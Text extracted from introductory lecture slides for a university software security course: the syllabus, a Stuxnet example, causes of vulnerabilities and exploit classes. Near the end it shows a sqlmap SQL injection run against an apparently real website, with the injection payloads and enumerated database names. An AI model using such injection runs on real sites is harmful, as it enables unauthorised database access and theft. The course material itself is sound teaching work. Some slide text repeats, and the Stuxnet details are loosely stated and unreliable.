Software Security

Lecture 1: Introduction to the course

Bing Mao

maobing@nju.edu.cn

Department of Computer Science
Course Overview
Description
Goal

Text Books

Course Schedule

Prerequisites

Tentative Course Project

Teaching Assistant
Contact Information

Introduction to Software Security
Background
Root Cause of the Security Problems
Vulnerability Exploits
This course is to examine various software vulnerabilities, review the literature how this problem was addressed, and discuss practical techniques and tools in fighting these threats from binary code analysis, symbolic execution, to operating system security, and hypervisor and even hardware based solutions.
Course Overview

Description

- Graduate and postgraduate level
- Research oriented
- System and software security class
Course Overview

Goal

- Understand the low-level details of real software implementations
- Be familiar with state of the art software vulnerabilities
- Vulnerability discovery, memory exploits and defense techniques
- Automated program analysis for the reverse engineering of binary code
There are three main parts of the text books:

1. Computer Systems: A Programmer’s Perspective (CSAPP)
Text Books

2. Hacking: The Art of Exploitation

Dept. of Computer Science, Nanjing University
Text Books

3. Related paper for after-class

- SoK: EternalWar in Memory
- Smashing The Stack For Fun And Profit
- The Geometry of Innocent Flesh on the Bone:Return-into-libc without Function Calls (on the x86)
- And so on...
Introduction

Basic computer system knowledge

Control Flow Hijacks
- Buffer Overflow

Practical Control Flow Defense

Memory exploit
- ROP

Control Flow Integrity

Program Analysis
- Program Representation

Dynamic Analysis
- Binary Instrumentation

Static Analysis
- LLVM(optional)

Symbolic Execution
- Vulnerability discovery

Summary
- Software security and program analysis
The basic knowledge of computer architecture
ELF
Stack Heap
Assembly code(Intel x86)
Computer Security basics
C/C++ Programming in UNIX
Tentative Course Project

- BufferOverflow
- ROP
- Data flow tracking
- Symbolic execution
- Homework (optional)
Computer security, also known as cybersecurity or IT security, is the “...protection of information systems from theft (secrecy/confidentiality) or damage (integrity) to the hardware, the software, and to the information on them, ...”—Gasser, Morrie (1988)

http://www.securitygem.com/top-home-security-reviews/
What’s the Reality Today?
What’s the Reality Today?
What’s the Reality Today?

Introduction to Software Security

Background

Root Cause of the Security Problems

Vulnerability Exploits

Dept. of Computer Science,
Nanjing University

Introduction to
Software Security

Background

Course Overview
Description
Goal
Text Books
Course Schedule
Prerequisites
Tentative Course Project
Teaching Assistant
Contact Information
Introduction to
Software Security

Background

Root Cause of the Security Problems

Vulnerability Exploits

Software Security

14

10

28
What's the Reality Today?

Stuxnet病毒于2010年6月被检测出来，是第一个专门为攻击真实世界中基础设施（比如核电站）设计的‘蠕虫’病毒，比如核电站，水坝，电网。互联网安全专家对此表示担忧。

Stuxnet is the first worm specifically designed to attack real-world infrastructures (such as nuclear plants) in 2010. The internet security experts were worried about it.
What's the Reality Today?

---

Background

Root Cause of the Security Problems

Vulnerability Exploits

---

What's the Reality Today?

Introduction to Software Security

1. Background

  What's the Reality Today?

  Stuxnet virus was detected in June 2010, and it was the first targeted attack on a real-world industrial system. The Stuxnet virus, also known as "Worm," impacted industrial control systems. This virus poses a significant threat to the industrial control system. The Stuxnet virus was detected in a power plant in Iran in July 2011, and the virus has been in the wild since then. The Stuxnet virus can be used to control industrial systems, including power plants, to cause damage.

---

Root Cause of the Security Problems

Vulnerability Exploits

---

Root Cause of the Security Problems

Vulnerability Exploits

---

Vulnerability Exploits

---
Introduction to Software Security

Who are the Bad Guys?

- Cyber criminals
- State sponsored
- Attackers
- Insiders
- Script kiddies
- Hacktivists

Dept. of Computer Science, Nanjing University
Introduction to Software Security

Root Cause of the Security Problems
Introduction to Software Security

Root Cause of the Security Problems

Configuration Errors
Introduction to Software Security

Root Cause of the Security Problems

- Human Mistakes
- Configuration Errors
Introduction to Software Security

Root Cause of the Security Problems

- Vulnerabilities (like a hole)
- Human Mistakes
- Configuration Errors
How Many Vulnerabilities?
Introduction to Software Security
Root Cause of the Security Problems

How Many Vulnerabilities?

![Graph showing the number of vulnerabilities from 2011 to 2016]

- Buffer overflow
- Cross-Site Scripting (XSS)
- SQL Injection
- Sensitive Data Exposure
- Input validation
- Permissions and ACL
- Resources management Error
- Cross-Site Request Forgery

Dept. of Computer Science, Nanjing University
How Many Vulnerabilities?

Total Number of Vulnerabilities, 2006–2014

Source: Symantec
1. Desktop/Server (app/kernel) Vulnerabilities
   - **Buffer Overflow** (stack, heap, vtable)
   - Format String
   - Integer Overflow

2. Web(App) Vulnerabilities
   - SQL Injection
   - Cross-site scripting
   - Cross-site forgery

3. Mobile(App) Vulnerabilities
   - Android component/Intent hijacking
   - Data leakage
Bugs, Vulnerabilities, and Exploits

- A bug is a place where real execution behavior may deviate from expected behavior
- A vulnerability is a flaw or weakness in system security procedures, design, implementation, or internal controls that could be exercised (accidentally triggered or intentionally exploited) and result in a security breach or a violation of the system’s security policy. (NIST’s definition)
- An exploit is an input that gives an attacker an advantage
## How Vulnerabilities are Exploited

<table>
<thead>
<tr>
<th>Attack Method</th>
<th>Objective</th>
</tr>
</thead>
<tbody>
<tr>
<td>Control flow hijacks</td>
<td>Gain control of the instruction pointer eip</td>
</tr>
<tr>
<td>Denial of service</td>
<td>Cause program to crash or stop servicing clients</td>
</tr>
<tr>
<td>Information Disclosure</td>
<td>Leak private information</td>
</tr>
</tbody>
</table>
Introduction to Software Security

Vulnerability Exploits
Introduction to Software Security

Vulnerability Exploits
Introduction to Software Security

Vulnerability Exploits

> sqlmap -u http://www.gdcsxy.net/shengbao/jjm/show.php?id=1 --level 2 --tables

{1.0.11.16#dev}

http://sqlmap.org

[*] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. Use at own risk.

[*] starting at 14:38:33

[14:38:34] [INFO] resuming back-end DBMS 'mysql'
[14:38:34] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: 1d (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=6094 AND 2454-2454

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY OR GROUP BY clause (F)
Payload: id=6094 AND (SELECT 1859 FROM(SELECT COUNT(*),CONCAT(0x7178767071,(SELECT &)%2)) AS t1)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=6094 AND SLEEP(5)

[14:38:35] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL >= 5.0

[14:38:35] [INFO] fetching database names
[14:38:35] [WARNING] reflective value(s) found and filtering out
[14:38:35] [INFO] the SQL query used returns 5 entries
[14:38:35] [INFO] retrieved: information_schema
[14:38:35] [INFO] retrieved: gdcsxy
[14:38:35] [INFO] retrieved: gdcsxy1
[14:38:36] [INFO] retrieved: mysql
[14:38:36] [INFO] retrieved: phpcms
[14:38:36] [INFO] fetching tables for databases: 'gdcsxy, gdcsxy1, information_schema, mysql, phpcms'
[14:38:37] [INFO] the SQL query used returns 922 entries
[14:38:37] [INFO] retrieved: information_schema
[14:38:37] [INFO] retrieved: gdcsxy
[14:38:37] [INFO] retrieved: gdcsxy1
Introduction to Software Security

Vulnerability Exploits

Database: ScoreDate
[55 tables]

Introduction to Software Security

Vulnerability Exploits

Dept. of Computer Science, Nanjing University